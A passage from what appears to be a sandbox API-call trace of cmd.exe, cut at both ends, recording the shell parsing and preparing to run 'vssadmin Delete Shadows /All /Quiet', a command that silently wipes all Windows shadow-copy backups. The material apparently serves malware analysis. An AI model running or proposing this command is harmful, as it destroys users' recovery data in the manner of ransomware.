lpType=0xdb5d8fec70, lpData=0xdb5d8fec90, lpcbData=0xdb5d8fec74*=0x1000 | out: lpType=0xdb5d8fec70*=0x4, lpData=0xdb5d8fec90*=0x9, lpcbData=0xdb5d8fec74*=0x4) returned 0x0 [0070.380] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0xdb5d8fec70, lpData=0xdb5d8fec90, lpcbData=0xdb5d8fec74*=0x1000 | out: lpType=0xdb5d8fec70*=0x0, lpData=0xdb5d8fec90*=0x9, lpcbData=0xdb5d8fec74*=0x1000) returned 0x2 [0070.380] RegCloseKey (hKey=0x88) returned 0x0 [0070.380] time (in: timer=0x0 | out: timer=0x0) returned 0x5e1567f8 [0070.381] srand (_Seed=0x5e1567f8) [0070.381] GetCommandLineW () returned="\"C:\\WINDOWS\\System32\\cmd.exe\" /C vssadmin Delete Shadows /All /Quiet" [0070.381] malloc (_Size=0x4000) returned 0x242463a54f0 [0070.381] GetCommandLineW () returned="\"C:\\WINDOWS\\System32\\cmd.exe\" /C vssadmin Delete Shadows /All /Quiet" [0070.381] malloc (_Size=0xffce) returned 0x242462a0080 [0070.381] ??_V@YAXPEAX@Z () returned 0x242462a0080 [0070.382] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x242462a0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0070.382] malloc (_Size=0xffce) returned 0x242462b0060 [0070.382] ??_V@YAXPEAX@Z () returned 0x242462b0060 [0070.382] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x242462b0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0070.382] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff60b30bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0070.383] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff60b30bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0070.383] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff60b30bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0070.383] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0070.383] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0070.383] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0070.383] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0070.383] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0070.383] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0070.383] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0070.383] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0070.383] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0070.383] GetProcessHeap () returned 0x242461a0000 [0070.383] RtlFreeHeap (HeapHandle=0x242461a0000, Flags=0x0, BaseAddress=0x242461a64c0) returned 1 [0070.383] GetEnvironmentStringsW () returned 0x242461a84d0* [0070.383] GetProcessHeap () returned 0x242461a0000 [0070.383] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0xa94) returned 0x242461a5a30 [0070.384] FreeEnvironmentStringsA (penv="A") returned 1 [0070.384] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff60b30bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0070.384] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff60b30bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0070.384] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0070.384] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0070.384] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0070.384] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0070.384] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0070.384] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0070.384] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0070.384] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0070.384] malloc (_Size=0xffce) returned 0x242462c0040 [0070.384] ??_V@YAXPEAX@Z () returned 0x242462c0040 [0070.384] GetProcessHeap () returned 0x242461a0000 [0070.385] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0x40) returned 0x242461a64d0 [0070.385] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x242462c0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0070.385] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x242462c0040, lpFilePart=0xdb5d8ff7f0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xdb5d8ff7f0*="Desktop") returned 0x17 [0070.385] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0070.385] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xdb5d8ff520 | out: lpFindFileData=0xdb5d8ff520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x242461a6520 [0070.385] FindClose (in: hFindFile=0x242461a6520 | out: hFindFile=0x242461a6520) returned 1 [0070.385] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xdb5d8ff520 | out: lpFindFileData=0xdb5d8ff520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1ba53d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1ba53d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x242461a6520 [0070.386] FindClose (in: hFindFile=0x242461a6520 | out: hFindFile=0x242461a6520) returned 1 [0070.386] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xdb5d8ff520 | out: lpFindFileData=0xdb5d8ff520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x53ca3cd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x53ca3cd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x242461a6520 [0070.386] FindClose (in: hFindFile=0x242461a6520 | out: hFindFile=0x242461a6520) returned 1 [0070.386] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0070.386] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0070.386] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0070.386] GetProcessHeap () returned 0x242461a0000 [0070.386] RtlFreeHeap (HeapHandle=0x242461a0000, Flags=0x0, BaseAddress=0x242461a5a30) returned 1 [0070.386] GetEnvironmentStringsW () returned 0x242461a8fb0* [0070.386] GetProcessHeap () returned 0x242461a0000 [0070.386] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0xacc) returned 0x242461a9a90 [0070.386] FreeEnvironmentStringsA (penv="=") returned 1 [0070.386] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x242462a0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0070.386] GetProcessHeap () returned 0x242461a0000 [0070.386] RtlFreeHeap (HeapHandle=0x242461a0000, Flags=0x0, BaseAddress=0x242461a64d0) returned 1 [0070.386] ??_V@YAXPEAX@Z () returned 0x1 [0070.387] ??_V@YAXPEAX@Z () returned 0x1 [0070.387] GetProcessHeap () returned 0x242461a0000 [0070.387] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0x4016) returned 0x242461aa570 [0070.387] GetProcessHeap () returned 0x242461a0000 [0070.387] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0x5c) returned 0x242461a0fc0 [0070.387] GetProcessHeap () returned 0x242461a0000 [0070.387] RtlFreeHeap (HeapHandle=0x242461a0000, Flags=0x0, BaseAddress=0x242461aa570) returned 1 [0070.387] GetConsoleOutputCP () returned 0x1b5 [0070.709] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff60b30fbb0 | out: lpCPInfo=0x7ff60b30fbb0) returned 1 [0070.709] GetUserDefaultLCID () returned 0x409 [0070.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff60b30bb78, cchData=8 | out: lpLCData=":") returned 2 [0070.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xdb5d8ffbb0, cchData=128 | out: lpLCData="0") returned 2 [0070.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xdb5d8ffbb0, cchData=128 | out: lpLCData="0") returned 2 [0070.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xdb5d8ffbb0, cchData=128 | out: lpLCData="1") returned 2 [0070.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff60b30bb68, cchData=8 | out: lpLCData="/") returned 2 [0070.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff60b30bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0070.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff60b30bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0070.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff60b30ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0070.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff60b30ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0070.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff60b30ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0070.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff60b30b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0070.710] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff60b30b980, cchData=32 | out: lpLCData="Sun") returned 4 [0070.710] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff60b30bb58, cchData=8 | out: lpLCData=".") returned 2 [0070.710] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff60b30bb40, cchData=8 | out: lpLCData=",") returned 2 [0070.710] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0070.712] GetProcessHeap () returned 0x242461a0000 [0070.712] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x0, Size=0x20c) returned 0x242461a10a0 [0070.712] GetConsoleTitleW (in: lpConsoleTitle=0x242461a10a0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\System32\\cmd.exe") returned 0x1c [0071.211] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0071.212] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0071.212] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0071.212] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0071.212] ??_V@YAXPEAX@Z () returned 0x1 [0071.212] GetProcessHeap () returned 0x242461a0000 [0071.212] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0x4012) returned 0x242461aa570 [0071.212] GetProcessHeap () returned 0x242461a0000 [0071.212] RtlFreeHeap (HeapHandle=0x242461a0000, Flags=0x0, BaseAddress=0x242461aa570) returned 1 [0071.213] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0071.213] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0071.213] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0071.213] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0071.213] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0071.213] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0071.213] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0071.213] GetProcessHeap () returned 0x242461a0000 [0071.213] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0xb0) returned 0x242461a12c0 [0071.213] GetProcessHeap () returned 0x242461a0000 [0071.213] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0x22) returned 0x242461a1380 [0071.214] GetProcessHeap () returned 0x242461a0000 [0071.214] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0x48) returned 0x242461a13b0 [0071.214] GetConsoleTitleW (in: lpConsoleTitle=0xdb5d8ffaa0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\System32\\cmd.exe") returned 0x1c [0071.808] malloc (_Size=0xffce) returned 0x242462b0060 [0071.828] ??_V@YAXPEAX@Z () returned 0x242462b0060 [0071.836] malloc (_Size=0xffce) returned 0x242462c0040 [0071.836] ??_V@YAXPEAX@Z () returned 0x242462c0040 [0071.837] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0071.837] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0071.837] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0071.837] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0071.837] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0071.837] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0071.837] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0071.837] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0071.837] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0071.837] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0071.837] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0071.837] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0071.837] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0071.837] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0071.837] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0071.837] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0071.837] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0071.837] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0071.837] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0071.838] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0071.838] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0071.838] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0071.838] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0071.838] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0071.838] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0071.838] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0071.838] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0071.838] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0071.838] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0071.838] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0071.838] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0071.838] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0071.838] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0071.838] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0071.838] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0071.838] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0071.838] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0071.838] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0071.838] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0071.838] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0071.838] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0071.838] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0071.838] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0071.838] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0071.838] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0071.838] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0071.838] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0071.838] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0071.838] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0071.838] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0071.838] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0071.838] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0071.838] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0071.838] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0071.838] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0071.838] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0071.838] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0071.838] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0071.839] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0071.839] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0071.839] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0071.839] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0071.839] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0071.839] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0071.839] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0071.839] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0071.839] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0071.839] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0071.839] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0071.839] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0071.839] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0071.839] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0071.839] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0071.839] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0071.839] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0071.839] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0071.839] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0071.839] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0071.839] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0071.839] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0071.839] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0071.839] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0071.839] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0071.839] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0071.839] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0071.839] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0071.839] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0071.840] ??_V@YAXPEAX@Z () returned 0x1 [0071.840] GetProcessHeap () returned 0x242461a0000 [0071.840] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0xffde) returned 0x242461aa570 [0071.840] GetProcessHeap () returned 0x242461a0000 [0071.840] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0x5a) returned 0x242461a1400 [0071.840] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0071.840] malloc (_Size=0xffce) returned 0x242462c0040 [0071.840] ??_V@YAXPEAX@Z () returned 0x242462c0040 [0071.841] GetProcessHeap () returned 0x242461a0000 [0071.841] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0x1ffac) returned 0x242461ba560 [0071.842] SetErrorMode (uMode=0x0) returned 0x0 [0071.842] SetErrorMode (uMode=0x1) returned 0x0 [0071.842] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x242461ba570, lpFilePart=0xdb5d8ff320 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xdb5d8ff320*="Desktop") returned 0x17 [0071.843] SetErrorMode (uMode=0x0) returned 0x1 [0071.843] GetProcessHeap () returned 0x242461a0000 [0071.843] RtlReAllocateHeap (Heap=0x242461a0000, Flags=0x0, Ptr=0x242461ba560, Size=0x52) returned 0x242461ba560 [0071.843] GetProcessHeap () returned 0x242461a0000 [0071.843] RtlSizeHeap (HeapHandle=0x242461a0000, Flags=0x0, MemoryPointer=0x242461ba560) returned 0x52 [0071.843] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff60b30bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0071.843] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0071.843] GetProcessHeap () returned 0x242461a0000 [0071.843] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0x1bc) returned 0x242461a1470 [0071.843] GetProcessHeap () returned 0x242461a0000 [0071.843] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0x368) returned 0x242461a1640 [0071.848] RtlReAllocateHeap (Heap=0x242461a0000, Flags=0x0, Ptr=0x242461a1640, Size=0x1be) returned 0x242461a1640 [0071.848] GetProcessHeap () returned 0x242461a0000 [0071.848] RtlSizeHeap (HeapHandle=0x242461a0000, Flags=0x0, MemoryPointer=0x242461a1640) returned 0x1be [0071.849] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff60b30bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0071.849] GetProcessHeap () returned 0x242461a0000 [0071.849] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0xe8) returned 0x242461a1810 [0071.849] RtlReAllocateHeap (Heap=0x242461a0000, Flags=0x0, Ptr=0x242461a1810, Size=0x7e) returned 0x242461a1810 [0071.849] GetProcessHeap () returned 0x242461a0000 [0071.849] RtlSizeHeap (HeapHandle=0x242461a0000, Flags=0x0, MemoryPointer=0x242461a1810) returned 0x7e [0071.849] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.851] GetLastError () returned 0x2 [0071.851] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.852] GetLastError () returned 0x2 [0071.852] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.852] FindClose (in: hFindFile=0x242461a18a0 | out: hFindFile=0x242461a18a0) returned 1 [0071.852] GetLastError () returned 0x2 [0071.852] RtlReAllocateHeap (Heap=0x242461a0000, Flags=0x0, Ptr=0x242461a1900, Size=0x8) returned 0x242461a1900 [0071.852] FindClose (in: hFindFile=0x242461a18a0 | out: hFindFile=0x242461a18a0) returned 1 [0071.852] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0071.852] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0071.852] ??_V@YAXPEAX@Z () returned 0x1 [0071.852] GetConsoleTitleW (in: lpConsoleTitle=0xdb5d8ff610, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\System32\\cmd.exe") returned 0x1c [0072.455] InitializeProcThreadAttributeList (in: lpAttributeList=0xdb5d8ff530, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xdb5d8ff420 | out: lpAttributeList=0xdb5d8ff530, lpSize=0xdb5d8ff420) returned 1 [0072.455] UpdateProcThreadAttribute (in: lpAttributeList=0xdb5d8ff530, dwFlags=0x0, Attribute=0x60001, lpValue=0xdb5d8ff40c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xdb5d8ff530, lpPreviousValue=0x0) returned 1 [0072.455] GetStartupInfoW (in: lpStartupInfo=0xdb5d8ff4c0 | out: lpStartupInfo=0xdb5d8ff4c0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.455] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.456] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", 